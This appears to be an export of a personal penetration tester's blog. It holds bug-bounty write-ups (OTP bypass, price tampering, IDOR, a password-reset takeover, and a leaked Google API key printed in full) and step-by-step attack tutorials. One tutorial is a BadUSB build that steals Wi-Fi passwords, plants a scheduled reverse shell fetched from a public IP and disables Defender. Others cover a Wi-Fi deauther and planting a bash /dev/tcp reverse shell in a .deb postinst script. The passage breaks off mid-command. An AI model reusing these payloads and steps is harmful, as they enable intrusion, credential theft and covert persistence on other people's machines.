[{"content":"Just A Bit About Myself _\u0026lt; 🧍‍♂️Introduction I’m Fernandez, a curious mind who enjoys breaking and securing systems. I work in offensive security as a Penetration Tester and Solutions Engineer, focusing on web, API, network, active directory, wireless security, and red teaming.\nMy Journey I began my journey into cybersecurity in 2021, a year after graduating from secondary school, at a time when I wasn’t sure what direction my life was heading.\nAn uncle figure in my life, who works as a farmer, encouraged me to explore cybersecurity. Although he had little to no background in tech, he understood its value and believed I could succeed in it. At the time, I knew almost nothing about hacking, only what I had seen in movies, but his belief in me pushed me to take the first step.\nI’ve always had a natural interest in computers, and that curiosity made the transition easier. I was also fortunate to have a skilled computer engineer in my circle, someone I consider both family and an advisor. From him, I learned a lot about computers, and he constantly challenged me to grow while reinforcing his belief in my potential.\nI started learning through Cybrary, taking advantage of both free and trial-based courses. Whenever my 14-day trial expired, I created new accounts just to keep learning and finish what I started. I completed courses such as Introduction to Cybersecurity, CompTIA Security+, Linux+ (with my favorite instructor, Rob Goelz), Python for Cybersecurity, and computer networking through Professor Messer’s training videos, among others.\nAfter building a foundation, I hesitated to dive into hacking because I wasn’t sure I would understand it. Eventually, I pushed past that fear and started in late 2022. I remember selling my gaming desktop just to purchase an Alpha AWUS036ACH wireless adapter so I could practice Wi-Fi hacking. That moment defined how serious I was about learning, I didn’t just want to watch; I wanted to truly understand how things worked.\nTo cut a long story short, my journey wasn’t widely supported at home. My parents and siblings wanted me to follow a traditional path and go to school, which led to frequent disagreements over the years. From their perspective, there was nothing tangible to show, no income, just continuous learning.\nEverything changed in November 2024 when I landed my first role as a penetration tester. I don’t even remember applying to that specific company, it likely came from a period where I was sending out applications consistently without expecting a response. I traveled to Lagos, went through the interview process, and secured the role. From that moment, the belief in my journey began to change.\nIt has now been about two years since I started my career as a penetration tester. The hard work and consistency have paid off, and I’m grateful for how far I’ve come. There’s still a long way to go, and I’m not slowing down anytime soon.\nToday, I can meet some of my needs, and one of the greatest rewards has been achieving a level of financial independence and work experience at a young age. It’s not everything, but it’s something I’m truly grateful for and just the beginning.\nCertifications \u0026amp; Degree Bsc Cybersecurity (In-Progress) Certified Red Team Analyst (CRTA) Certified Appsec Practitioner (CAP) Certified Network Security Practitioner (CNSP) (None of these were sponsored but I\u0026rsquo;m willing to acquire more certifications )\n🪟 Life outside of infosec, the last 20% When I\u0026rsquo;m not hacking, I enjoy:\nListening to music Playing video games on my console Posting memes Leveling up my skill building hacking tools \u0026amp; projects ✨ Future plans I plan to focus on:\nRed Teaming Malware Development Hardware Hacking Satellite Hacking ","permalink":"https://JustFernandezz.github.io/cyb3lnkuei-site/whoami/","summary":"\u003ch1 id=\"just-a-bit-about-myself-_\"\u003eJust A Bit About Myself _\u0026lt;\u003c/h1\u003e\n\u003chr\u003e\n\u003ch2 id=\"introduction\"\u003e🧍‍♂️Introduction\u003c/h2\u003e\n\u003cp\u003eI’m Fernandez, a curious mind who enjoys breaking and securing systems. I work in offensive security as a Penetration Tester and Solutions Engineer, focusing on web, API, network, active directory, wireless security, and red teaming.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"my-journey\"\u003eMy Journey\u003c/h2\u003e\n\u003cp\u003eI began my journey into cybersecurity in 2021, a year after graduating from secondary school, at a time when I wasn’t sure what direction my life was heading.\u003c/p\u003e","title":"Whoami"},{"content":"Platform: HackerOne Status: Duplicate Overview\nI was testing a target belonging to a large online fashion platform, focusing on how the application handled response manipulation within its OTP verification flow.\nDuring my assessment, I analyzed the client-server interaction to determine whether the OTP validation logic was enforced strictly on the backend or could be influenced through modified responses.\nOTP-based authentication flows are a common area of interest in my testing, as improper validation can lead to account takeover or unauthorized actions when not implemented securely.\nThe application has a feature where you could authorize an email change. But to change the email, it requires an otp to be sent to the current email address. So this where the real attack begins. When I clicked on the change button to update the email address, the application sent an OTP to the current email linked to the user account.\nI turned on interception in Burp Suite and entered an invalid OTP to capture the request and response flow.\nNext, I enabled Intercept Response to observe and manipulate the server’s response.\nAt this point, I recalled a valid 200 OK response I had seen earlier while testing another endpoint. That gave me an idea of what a successful response should look like.\nWhile interception was still active, I copied the success message format and replaced the error message from the OTP response with it.\nAfter replacing the error message with the success message, I forwarded the modified response.\nThe application accepted the modified response and treated the OTP as valid. This allowed me to proceed to the next step, where I could input a new email address under my control and request an OTP to it.\nAn OTP was successfully sent to the new email address.\nI then used the OTP from the new email to complete the process and successfully changed the account’s email address.\nThis could lead to an account takeover if an attacker already has your password but no access to your email.\nIMPACT An attacker who knows the victim's password can bypass the current email OTP verification and proceed directly to the new email confirmation step, removing one layer of account protection. Realistic Attack Scenario Attacker has your password (from phishing or data breach) Normally blocked because they don't have access to your email inbox for OTP With this bypass they skip that step They are only stopped by the second OTP sent to the NEW email they control ","permalink":"https://JustFernandezz.github.io/cyb3lnkuei-site/posts/otp-verification-bypass-via-response-manipulation-on-email-change-authentication-flow/","summary":"Click to read the full walkthrough.","title":"OTP Verification Bypass via Response Manipulation on Email Change Authentication Flow"},{"content":"Severity: High Type: Penetration Test Assessment\nSeverity: High\nCWE: CWE-602, CWE-840, CWE-284\n⚠️ Note: All sensitive information (e.g., domains, endpoints, IDs, and personal data) has been redacted or modified. The core vulnerability and methodology remain unchanged.\nIntroduction There is something about e-commerce applications that makes them particularly interesting to test. The entire business model runs on trust, trust that prices are what they say they are, trust that the server is doing the math, trust that a buyer cannot just decide what they want to pay. When that trust is misplaced and delegated to the client side, the consequences are immediate and financially measurable. This is the story of how I found a critical price manipulation vulnerability on a client\u0026rsquo;s marketplace platform during a penetration test engagement. One intercepted request. One modified value. The server said yes\nScope and Setup The target was an e-commerce marketplace platform built on a modern JavaScript frontend communicating with a REST API backend. The application allowed multiple vendors to list products across various categories including fashion, electronics, and home goods.\nMy setup was standard:\nFirefox browser with Burp Suite Professional as proxy\nA handful of product listings to work with\nI started the way I always do, going through the normal user workflow with Burp running in the background, watching every request, looking for anything that shouldn\u0026rsquo;t be there.\nDiscovery After browsing to a product listing, a pair of Women\u0026rsquo;s Flat Shoes priced at ₦8,080. You could see the value of the shoe labeled 8080 has the same id as what is in the url, the id of 1746999058975\nI added it to cart and watched the intercepted request in Burp. The request body contained a price field\nPOST /market-v2/cart/add HTTP/2 Host: redacted.api.redacted.com Content-Type: application/json Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.REDACTED Origin: https://www.redacted.com { \u0026#34;product_id\u0026#34;: \u0026#34;1746999058975\u0026#34;, \u0026#34;vendor_id\u0026#34;: \u0026#34;VND-23412\u0026#34;, \u0026#34;quantity\u0026#34;: 1, \u0026#34;variant\u0026#34;: \u0026#34;default\u0026#34;, \u0026#34;price\u0026#34;: 8080, ← visible in plaintext \u0026#34;currency\u0026#34;: \u0026#34;NGN\u0026#34;, \u0026#34;checkout_token\u0026#34;: \u0026#34;ck_9f3b2a1d8e49870a\u0026#34; } Step 2 — Modify the price field \u0026quot;price\u0026quot;: 8080 → \u0026quot;price\u0026quot;: 2000\nForward and Observer response HTTP/2 200 OK Content-Type: application/json { \u0026#34;success\u0026#34;: true, \u0026#34;response_code\u0026#34;: \u0026#34;00\u0026#34;, \u0026#34;message\u0026#34;: \u0026#34;Item added to cart successfully\u0026#34;, \u0026#34;data\u0026#34;: { \u0026#34;product_id\u0026#34;: \u0026#34;1746999058975\u0026#34;, \u0026#34;product_name\u0026#34;: \u0026#34;Women Flat Shoe\u0026#34;, \u0026#34;price\u0026#34;: 2000, ← server accepted manipulated value \u0026#34;subtotal\u0026#34;: 2000, \u0026#34;currency\u0026#34;: \u0026#34;NGN\u0026#34;, \u0026#34;checkout_url\u0026#34;: \u0026#34;https://redacted.redacted.com/spliplug/spli/pay/553246...\u0026#34; } } Step 4 — Payment gateway initializes at manipulated price Split Plug payment page loads: Order Amount: NGN 2,000.00 Transaction Fee: NGN 130.00 → Proceed to Paystack at NGN 2,130 total Root Cause The backend accepted a price field from the client request body without validating it against the actual product price stored in the database. The server was performing no price lookup of its own. It trusted whatever value arrived in the request.\nImpact Per transaction loss: NGN 6,080 Reduction from real: 75% Products affected: All products on the platform Accounts affected: All buyer accounts Technical barrier: None — Burp Suite free tier sufficient Remediation Remove the price field from the client request entirely The server should never accept price from the client\nDerive price server-side using product_id only Look it up from the product catalog database\nAt checkout, re-validate the price server-side before initializing any payment gateway session\nAny discrepancy between expected and received price should reject the request entirely\nImplement server-side integrity checks on all financial values before processing\n","permalink":"https://JustFernandezz.github.io/cyb3lnkuei-site/posts/price-manipulation-via-client-side-parameter-tampering/","summary":"Click to read the full walkthrough","title":"Price Manipulation via Client-Side Parameter Tampering"},{"content":"Target: uk.romwe.com Platform: HackerOne Status: Duplicate Severity: Low\nBackground When I started hunting on SHEIN\u0026rsquo;s bug bounty program on HackerOne, I wasn\u0026rsquo;t looking for anything specific. I just had Burp Suite running, DevTools open, and curiosity doing the heavy lifting. My usual starting point when hitting a new target is the page source and global JavaScript objects. A lot of developers don\u0026rsquo;t realize how much sensitive information gets baked into server-rendered config objects that ship to every single visitor\u0026rsquo;s browser. SHEIN was no different.\nDiscovery I opened the console on uk.romwe.com and typed one line: console.log(gbCommonInfo.GOOGLE_API_KEY)\nReturned the following key: \u0026quot;AIzaSyANkdKFbzWu5bgALBRqmT6xpUxdl_ncBBY\u0026quot;\nPOC — Step 1: Key Found in gbCommonInfo The key was visible directly in the browser DevTools console under the gbCommonInfo object alongside other configuration data including Facebook App ID, Google Client ID, and reCAPTCHA site key. POC — Step 2: Directions API Works from External Origin Finding a key is one thing. Proving it actually works from outside their infrastructure is what makes it a finding worth reporting. I opened my terminal and fired a simple curl request, no cookies, no session, no referrer header. Just the key and a test query: curl \u0026quot;https://maps.googleapis.com/maps/api/directions/json?origin=London\u0026amp;destination=Manchester\u0026amp;key=AIzaSyANkdKFbzWu5bgALBRqmT6xpUxdl_ncBBY\u0026quot; That \u0026quot;status\u0026quot;: \u0026quot;OK\u0026quot; told me everything. The key had no domain restrictions, no IP restrictions, and no API restrictions. It was completely open. I kept going:\nDirections API curl \u0026quot;https://maps.googleapis.com/maps/api/directions/json?origin=London\u0026amp;destination=Manchester\u0026amp;key=KEY\u0026quot; # status: OK Places API curl \u0026quot;https://maps.googleapis.com/maps/api/place/findplacefromtext/json?input=london\u0026amp;inputtype=textquery\u0026amp;key=KEY\u0026quot; # status: OK\nElevation API curl \u0026quot;https://maps.googleapis.com/maps/api/elevation/json?locations=51.5,-0.1\u0026amp;key=KEY\u0026quot; # status: OK\nImpact Financial impact — billable API calls charged to ROMWE\u0026rsquo;s Google Cloud account\nAvailability impact — quota exhaustion disables location features for real users\nNo restrictions — no domain, IP, or API-level restrictions configured\nCost estimate per 1,000,000 calls: Geocoding API → $5,000 Places API → $32,000 Directions API → $10,000 Elevation API → $5,000\nRemediation Immediately rotate and revoke the exposed key in Google Cloud Console\nRestrict the new key to specific HTTP referrers: .romwe.com/ and .shein.com/\nRestrict to only the specific APIs the application actually uses\nNever embed API keys in client-side JavaScript — proxy Google API calls through a backend service\n","permalink":"https://JustFernandezz.github.io/cyb3lnkuei-site/posts/exposed-unrestricted-google-api-key-in-client-side-javascript-allows-unauthorized-api-abuse/","summary":"Click to read the full walkthrough.","title":"Exposed Unrestricted Google API Key in Client-Side: JavaScript Allows Unauthorized API Abuse"},{"content":"Severity: High ⚠️ Note: All sensitive information (e.g., domains, endpoints, IDs, and personal data) has been redacted or modified. The core vulnerability and methodology remain unchanged.\nBACKGROUND During a penetration testing assessment on a client\u0026rsquo;s web application, I was going through the normal user workflow; registration, login, profile management, the usual stuff. Nothing seemed out of the ordinary at first glance. But as I always do, I had Burp Suite running in the background capturing everything. While playing around with the profile update functionality, I noticed something interesting in the request. The endpoint was updating user information using a numeric ID directly in the URL path. That immediately caught my attention.\nTHE DISCOVERY The application was sending a PATCH request to update user profile details: PATCH /market-v2/customer/customer/724\nThe number 724 was the user ID. My first thought was what happens if I change that number?\nEXPLOITATION I sent the request to Burp Repeater and changed the ID to another user\u0026rsquo;s ID. No additional authentication. No ownership check. Just changed the number and fired the request. The server responded with HTTP 200 OK and returned the victim\u0026rsquo;s full profile data, updated with whatever values I supplied in the request body.\nREQUEST PATCH /market-v2/customer/customer/891 HTTP/2 Host: api.redacted.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/json Access-Control-Allow-Origin: * Content-Length: 118 Origin: https://www.redacted.com Referer: https://www.redacted.com/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Priority: u=0 Te: trailers { \u0026#34;bankName\u0026#34;: null, \u0026#34;accountNumber\u0026#34;: null, \u0026#34;accountName\u0026#34;: null, \u0026#34;bankCode\u0026#34;: null, \u0026#34;firstName\u0026#34;: \u0026#34;James\u0026#34;, \u0026#34;lastName\u0026#34;: \u0026#34;Wilson\u0026#34; } RESPONSE HTTP/2 200 OK Date: Tue, 18 Mar 2025 14:22:11 GMT Content-Type: application/json; charset=utf-8 Content-Length: 518 Server: nginx/1.18.0 (Ubuntu) X-Powered-By: Express Access-Control-Allow-Origin: * { \u0026#34;success\u0026#34;: true, \u0026#34;response_code\u0026#34;: \u0026#34;00\u0026#34;, \u0026#34;response_description\u0026#34;: \u0026#34;Success\u0026#34;, \u0026#34;data\u0026#34;: { \u0026#34;id\u0026#34;: 891, \u0026#34;firstName\u0026#34;: \u0026#34;James\u0026#34;, \u0026#34;lastName\u0026#34;: \u0026#34;Wilson\u0026#34;, \u0026#34;phoneNumber\u0026#34;: \u0026#34;+2348012345678\u0026#34;, \u0026#34;email\u0026#34;: \u0026#34;david.okafor@gmail.com\u0026#34;, \u0026#34;emailVerifiedAt\u0026#34;: null, \u0026#34;phoneVerifiedAt\u0026#34;: null, \u0026#34;emailToken\u0026#34;: \u0026#34;b7e23ec29af22b0b4e41da31e868d57\u0026#34;, \u0026#34;smsToken\u0026#34;: \u0026#34;140892\u0026#34;, \u0026#34;accountStatus\u0026#34;: true, \u0026#34;accountNumber\u0026#34;: null, \u0026#34;accountName\u0026#34;: null, \u0026#34;bankCode\u0026#34;: null, \u0026#34;bankName\u0026#34;: null, \u0026#34;createdAt\u0026#34;: \u0026#34;2025-03-17T10:45:03.304Z\u0026#34;, \u0026#34;updatedAt\u0026#34;: \u0026#34;2025-03-18T14:22:11.000Z\u0026#34;, \u0026#34;deletedAt\u0026#34;: null } } Impact The impact here is significant. Any authenticated user could:\nUpdate any other user's first and last name Potentially update bank account details once populated Access victim's email address and phone number from the response Cause account integrity issues at scale by mass updating user profiles Root Cause The application was performing no server side authorization check to verify that the authenticated user\u0026rsquo;s session matched the ID in the URL. The backend simply accepted the request and processed it.\nRemediation Always verify resource ownership server side before processing any update request\nDerive the user ID from the authenticated session token — never from user supplied input\nImplement authorization middleware that checks session ownership on every state changing request\n","permalink":"https://JustFernandezz.github.io/cyb3lnkuei-site/posts/idor---unauthorized-user-profile-update-via-customer-id-manipulation/","summary":"Click to read the full walkthrough","title":"IDOR - Unauthorized User Profile Update via Customer ID Manipulation"},{"content":"⚠️ DO NOT PLUG IN! ⚠️ This device is dangerous. Do not connect to power or any data ports.\nUnauthorized use may cause data loss, system compromise, or physical harm.\nXIAO RP2040 MALICIOUS DRIVE Hello guys, I go by the name Fernandez, but you can call me CyberInkuei 🥷😎\nThis project is a Bad USB simulation built to showcase how simple-looking devices can become powerful tools for security testing, awareness, and defense.\nThe Bad USB functions as a Human Interface Device (HID), allowing it to emulate a keyboard and execute keystrokes on a computer within seconds. While this capability is often abused for malicious purposes, it also makes Bad USB devices valuable tools for security research, awareness, and attack simulation.\nFor this project, we’ll be using the XIAO RP2040 microcontroller as the foundation of our Bad USB build, which will be programmed using CircuitPython.\nYou can purchase the board from:\nSeeed Studio Microscale (Nigeria) Requirements XIAO RP2040 A dedicated server (local system or hosted in the cloud) I already have a dedicated server hosted in the cloud, which provides a public IP address and allows targets to connect from anywhere in the world. Some configuration is required, which will be covered later.\nGoal The goal of this project is to:\nExfiltrate Wi-Fi SSIDs and passwords Inject a backdoor to obtain a remote shell Schedule the backdoor as a task for persistence Disable Windows Defender Scripts I wrote two scripts for similar purposes.\nBase_run.py View script\nExfiltrates Wi-Fi SSIDs and passwords Injects a backdoor for a remote shell Schedules persistence via task scheduler Opens a YouTube video as a distraction uac_defender.py View script\nOpens PowerShell with admin privileges Exfiltrates Wi-Fi SSIDs and passwords Injects a backdoor for a remote shell Schedules persistence Accepts UAC prompts and disables Windows Defender The scripts are similar, but uac_defender.py includes UAC handling and Defender disablement.\nSetup Navigate to CircuitPython, select Downloads, and search for XIAO RP2040. and select the first one \u0026ldquo;RP2040\u0026rdquo;\nDownload the .UF2 file Now, it\u0026rsquo;s time to plug in the board with a type c cable, but before that, hold the B button on the board for few seconds while at the same timme you plug in the device to the computer to factory reset it. The B button is located by the bottom right of the device in the image below After you have it plugged in, you should see it as a drive on your computer Move the adaruit.UF2 file we downloaded of recent to the drive. It is going to disconnect and restart itself after moving it. After restarting, you would have something like this: Next, go to the library file we downloaded adafruit-circuitpython-bundle-10.x-mpy-20260124 and extract the content. Once you\u0026rsquo;re done navigate to the lib directory in it and look for the folder adafruit_hid Then copy the folder to the lib directory in the XAIO RP2040 drive. Going back to the root of the XAIO RP2040, you will see python script, this is where our code would be stored and that\u0026rsquo;s where we do the programming. I have it programmed for you already, so you can just replace the python script with the one I\u0026rsquo;ve written and modify the ip address and anything that needs to modified to match your environment. Also make sure the script is renamed to code.py Before we continue, let\u0026rsquo;s see the config on the attacker server running in the cloud.\nAttacker Server We would like our attack to be successful irrespective of the network the target is on and wherever he is in the world. We don\u0026rsquo;t want a situation whereby it only works when we are within the same network, therefore, I provisioned a server already in the cloud that listens for inbound and outbound connections with an available public IP Address.\nYou can come here EC2 Server to create a cloud Instance in AWS.\nAfter creating an instance, navigate to security groups and configure an inbound allow rule for these ports and also an outbound for all ports\nINBOUND: OOUTBOUND: Why we need the ports?\n5555 - Our server will use this to listen for wifi credentials\n3333 - To listen for a reverse connection.\n22 - We use this to remotely connect to our machine\n443 - HTTPS\n53 - DNS(Should be open)\n80 - To host our reverse shell\n(Ignore port 4444).\nAfter configuring our firewall rules, we can now start the instance and login to the machine. We need to do a few things inside the machine to make the attack standout. Let\u0026rsquo;s take them one after the other.\nFirstly, create a directory in your /home/user/, and copy the Revshell.ps1 and Wifilogger.ps1 files there. We would be hosting these files publicly and let the target execute it in memory without having to download locally(It runs pretty fast without AV detection), using IEX and IWR, which are some Living Off The Land Binaries (LOLBAS). We also don\u0026rsquo;t want our entire filesystem to be publicly exposed, so we create a sub directory where we puth these files.\nLike I have done here, the files are in a directory named connect. That being said, modify the ip address of those files to match your instance ip and we are done with the first stage.\nNext thing is to install tmux, tmux helps us to hold multiple terminal sessions without tearing down the session. Normally, whenever you run a program such as python3 -m http.server or anything that requires an active session, whenever you close the terminal, everything tears down, but with tmux, it let\u0026rsquo;s your program keep running even when you close the terminal, and it provides a way to interact with each sessions you hold.\nYou can install tmux with the following commands:\nsudo apt update sudo apt install tmux For testing, run: tmux new-s -d -s pythonserver1, which creates a new tmux session titled pythonserver1. new-s or new-session creates a new session.\nWe can see the list all of the active sessions using tmux list-s. To interact with each session, type tmux attach -t \u0026lt;session name\u0026gt;, in our case pythonserver1, so it\u0026rsquo;s going to be tmux attach -t pythonserver1.\nTo opt out of the session without tearing it down, you press CTR + B + D, which keeps your program running in a background and you can close the terminal. Also if you want to quit the session or tear it down, just press CTR + C, then the session ends.\nWe will be using netcat to listen for reverse connections from the target, and by default, netcat tears down sessions after one successful connection. Also, running netcat as a cronjob does not run in the foreground, so there\u0026rsquo;s no way you can interact with each session, and that\u0026rsquo;s not what we want as a creative attacker. We need tmux for that.\nWe want to add a cronjob that creates a netcat connection with tmux that listens for wifi credentials and stores it in a file named wificreds in your home directory, and also listens for a reverse shell every 1 minute even after tear down. With this, even if the netcat connection stops, it reconnects back after every 1 minute to listen for new connections. Finally, we can host a python server in the directory where we have our reverse shell and wifilogger scripts:\nPress CTR + B + D to detach from the session.\n⚠️ Make sure you don\u0026rsquo;t have any sensitive file in that directory before hosting public, and make sure you have your services very secure.\nNow, visit your EC2 public ip address in the browser, and you should see the files being hosted in the public. So in our malicious script, the target would execute this line 'powershell -ep bypass -c \u0026quot;iex (iwr http://52.202.38.242/wifilogger.ps1)\u0026quot;', which visits our public ip and executes the powershell script in memory, that\u0026rsquo;s why we need to host the files in public to be reachable. You can leave your server running in the cloud for days or weeks, The free tier offers 600 hours of free service I think.\nPlug the drive into a nearby computer (this executes in less than six seconds), then return to your cloud instances, you should have a shell by now. Even if the target disconnects or there’s a break in the connection, don’t panic. The following line within the code\nschtasks /create /tn \u0026ldquo;RunReversePowerShell\u0026rdquo; /tr \u0026ldquo;cmd.exe /c powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command \u0026quot;iex (iwr \u0026lsquo;http://52.202.38.242/reverse.ps1\u0026rsquo;)\u0026quot;\u0026rdquo; /sc minute /mo 5 /it /f\nalready schedules the reverse shell to run on the target system every five minutes whenever the system is powered on. Remember that your Netcat listener should start listening one minute before the scheduled connection attempt. With this, we\u0026rsquo;ve maintained persistence, meaning you should receive a reverse shell from the target every five minutes, from anywhere in the world, at any time.\n⚠️Always Remember: This technique is intended strictly for authorized security testing, research, or educational purposes. Only use it on systems you own or have explicit permission to test. Unauthorized access, persistence mechanisms, or monitoring of systems may be illegal and unethical, and could result in serious legal consequences.\nGoodbye Folks. Until we meet again. ","permalink":"https://JustFernandezz.github.io/cyb3lnkuei-site/posts/xiao-rp2040-malicious-usb/","summary":"Click to read the full walkthrough.","title":"XIAO RP2040 MALICIOUS USB."},{"content":"Severity: Critical\nType: Penetration Test Assessment\nCWE: CWE-640, CWE-287, CWE-306, CWE-209\n⚠️ Note: All sensitive information (e.g., domains, endpoints, IDs, and personal data) has been redacted or modified. The core vulnerability and methodology remain unchanged.\nIntroduction Account takeover vulnerabilities are among the most impactful findings in any security assessment. When an attacker can reset the password of any account on a platform without authorization, the entire user base is at risk. This is the story of how a single poorly worded error message handed me the keys to any account on the platform. The irony is that I wasn\u0026rsquo;t even looking for this. I was testing the password reset flow as part of standard coverage and the application told me exactly how to break it.\nThe Discovery The password reset flow on the platform worked as follows:\nStep 1 → Enter email address Step 2 → Receive token via email Step 3 → Submit token + new password Step 4 → Password changed Standard enough. But I never had access to the victim\u0026rsquo;s email inbox, so I needed to understand what happened when an invalid token was submitted. I entered a random invalid token, captured the request in Burp and submitted it.\nThe server came back with: { \u0026#34;status\u0026#34;: \u0026#34;error\u0026#34;, \u0026#34;response_code\u0026#34;: \u0026#34;422\u0026#34;, \u0026#34;message\u0026#34;: \u0026#34;User token mismatch with email\u0026#34; } That error message stopped me cold. Mismatch with email. Not just \u0026ldquo;invalid token.\u0026rdquo; The word mismatch implied the backend was doing a direct comparison between the token field and the email field. Which raised an immediate question, what if they match? What if I just put the email address in the token field?\nExploitation I went back to the password reset request in Burp Repeater. The original request with an invalid token looked like this:\n{ \u0026#34;token\u0026#34;: \u0026#34;cs-1a93-BBBB-0\u0026#34;, \u0026#34;user_token\u0026#34;: \u0026#34;cs-1a93-BBBB-0\u0026#34;, \u0026#34;email\u0026#34;: \u0026#34;victim@gmail.com\u0026#34;, \u0026#34;password\u0026#34;: \u0026#34;password123\u0026#34;, \u0026#34;confirm_password\u0026#34;: \u0026#34;password123\u0026#34; } I made one change. Replaced both token values with the victim\u0026rsquo;s email address:\n{ \u0026#34;token\u0026#34;: \u0026#34;victim@gmail.com\u0026#34;, \u0026#34;user_token\u0026#34;: \u0026#34;victim@gmail.com\u0026#34;, \u0026#34;email\u0026#34;: \u0026#34;victim@gmail.com\u0026#34;, \u0026#34;password\u0026#34;: \u0026#34;password123\u0026#34;, \u0026#34;confirm_password\u0026#34;: \u0026#34;password123\u0026#34; } Forwarded the request and watched the response.\nThe following screenshot shows the exact request and response captured in Burp Suite during the attack: The request on the left shows the password reset endpoint with user_token set to the victim\u0026rsquo;s email address. The response on the right returned HTTP/2 200 OK with \u0026ldquo;message\u0026rdquo;: \u0026ldquo;Password reset successful\u0026rdquo; along with the victim\u0026rsquo;s full account data including name, phone number, email, bank details, account number, and shipping addresses.\nWhat the Response Returned { \u0026#34;status\u0026#34;: \u0026#34;success\u0026#34;, \u0026#34;response_code\u0026#34;: \u0026#34;00\u0026#34;, \u0026#34;message\u0026#34;: \u0026#34;Password reset successful\u0026#34;, \u0026#34;data\u0026#34;: { \u0026#34;id\u0026#34;: 39, \u0026#34;firstName\u0026#34;: \u0026#34;[REDACTED]\u0026#34;, \u0026#34;lastName\u0026#34;: \u0026#34;[REDACTED]\u0026#34;, \u0026#34;phoneNumber\u0026#34;: \u0026#34;[REDACTED]\u0026#34;, \u0026#34;email\u0026#34;: \u0026#34;victim@gmail.com\u0026#34;, \u0026#34;password\u0026#34;: \u0026#34;[REDACTED]\u0026#34;, \u0026#34;accountStatus\u0026#34;: true, \u0026#34;accountNumber\u0026#34;: \u0026#34;[REDACTED]\u0026#34;, \u0026#34;bankName\u0026#34;: \u0026#34;[REDACTED]\u0026#34;, \u0026#34;createdAt\u0026#34;: \u0026#34;2023-10-21T05:43:58.350Z\u0026#34;, \u0026#34;updatedAt\u0026#34;: \u0026#34;2025-05-11T19:24:53.000Z\u0026#34;, \u0026#34;shippingAddresses\u0026#34;: [ { \u0026#34;id\u0026#34;: 32, \u0026#34;contactName\u0026#34;: \u0026#34;[REDACTED]\u0026#34;, \u0026#34;address\u0026#34;: \u0026#34;Herbert Macaulay way\u0026#34;, \u0026#34;city\u0026#34;: \u0026#34;Lagos\u0026#34;, \u0026#34;state\u0026#34;: \u0026#34;Lagos\u0026#34;, \u0026#34;phone\u0026#34;: \u0026#34;[REDACTED]\u0026#34; } ] } } 200 OK. Password reset successful. Full account data returned. I had just taken over a real customer account without ever touching their email inbox, without brute forcing anything, and in under 60 seconds.\nWhat Went Wrong The root cause is a fundamental logic error in how the backend validated the password reset token\nIntended behavior: Server receives token → looks up token in database → matches against stored secret → allows password reset only if valid Actual behavior: Server receives token → compares token field against email field → if token == email → validation passes → password reset allowed The backend was not validating the token against a stored cryptographic secret. It was doing a string comparison between the submitted token and the email address. Since the attacker already knows the email address, it is in the same request, the check was completely trivially bypassable.\nImpact Any attacker who knew or could guess any registered email address on the platform could take over that account instantly. No inbox access. No brute force. No special skill.\nRemediation 1. Generate cryptographically random tokens server-side and store them with expiry 2. Validate token against stored database value only never compare against any user-supplied field 3. Token must be single use invalidate immediately after successful reset ","permalink":"https://JustFernandezz.github.io/cyb3lnkuei-site/posts/account-takeover-via-password-reset-token-misconfiguration/","summary":"Click to read the full walkthrough.","title":"Account Takeover via Password Reset Token Misconfiguration"},{"content":"\nSteps to create a successful esp8266 deauther:-\nNote: These bin files were not written by me. I got them from a source I can\u0026rsquo;t remember. The purpose of this, is to create a successful deauther because there are so many of them that might not work\nerase and flash the firmware completely: Get flasher tool here for windows or for your respective OS. flasher\nInstall it. Download flasher firmware bin file Aithinker.bin\nplug in your nodemcu and it should be detected, having a COM port number: Next, navigate to config beside operation in the flasher tool and select the flashbin file you just downloaded: This is going to completely erase the nodemcu firmware without having a form of access point.\nNote: Before you plug in the nodemcu, hold on the flash button, connect the usb to it(while holding), then start click flash in the flashertool. The board will start blinking. After a successful flash, there will be no form of access point and it will be completely empty Disconnect and reconnect.\nDownload deauther bin deauther.bin Repeat the same process again. Disconnect, hold on the flash button, connect to pc, select the deauther bin file and flash(while flashing, you can let go the flash button on the board).\nAfter a successful flash, you see wifi named \u0026ldquo;pwned\u0026rdquo;. password is deauther\nYou can modify some parameters in the deauther bin file such as ip address, ssid and custom information you would like to change.\nip address is 192.168.4.1. Visit in your browser\nUse responsibly and ethically Happy hacking! ","permalink":"https://JustFernandezz.github.io/cyb3lnkuei-site/posts/esp8266-wifi-deauther/","summary":"Click to read the full walkthrough.","title":"ESP8266 WIFI DEAUTHER"},{"content":"LINUX-BACKDOOR Educational use only. Unauthorized use is illegal, else you might learn the hard way. Don\u0026rsquo;t Play! Welcome Folks! Today, I decided to post a simple walkthrough showing how to inject a backdoor into a linux debian package(.deb).\nA Backdoor is simply a payload/malware that is secretly planted into a computer or software for unauthorized access.\nTo get started, we need a debian package to inject the backdoor into. You can download any debian package, but I\u0026rsquo;ll be making use of the visual studio code debian package. You can grab it here: Visual_Studio.deb.\nFirst Step is to download the package and extract using the command below.\ndpkg -x code_1.108.2-1769004815_amd64.deb code_pack code_pack is the new directory we extracted to, you can name it anything you like. Confirm you now have the code_pack directory using \u0026ldquo;ls\u0026rdquo;.\nNext we need to extract the control and postinst files, these are the files we will be using to embed the backdoor into the package before rebuilding. To do this, we will extract the package again using:\nar -x code_1.108.2-1769004815_amd64.deb code_pack After extracting, you see a file name \u0026ldquo;control.tar.xz\u0026rdquo;. Now extract the file tar package using:\ntar -xvf control.tar.xz We now have the postinst and control files we need. Go to the code_pack directory and create a sub directory called \u0026ldquo;DEBIAN\u0026rdquo;. Copy the postinst and control files we extracted to this DEBIAN directory. .\nWe now have the two files in the DEBIAN directory, next is to edit the postinst file with any file editor of your choice(nano or vim). I will be using vim\nsudo vim postinst Now inject the highlighted payloads into the lines of code, together with a message telling the victim to wait while the package is installing.\nsudo bash -i \u0026gt;\u0026amp; /dev/tcp/192.168.100.13/2020 0\u0026gt;\u0026amp;1 echo \u0026#34;Please wait, this might take sometime to install.....\u0026#34; Replace ip address and port number with your local machine\u0026rsquo;s.\nSave and close the file when you\u0026rsquo;re done. Then change permission of the two files to 755 using chmod:\nchmod 755 postinst control Repack the code_pack back to the deb package with:\nsudo 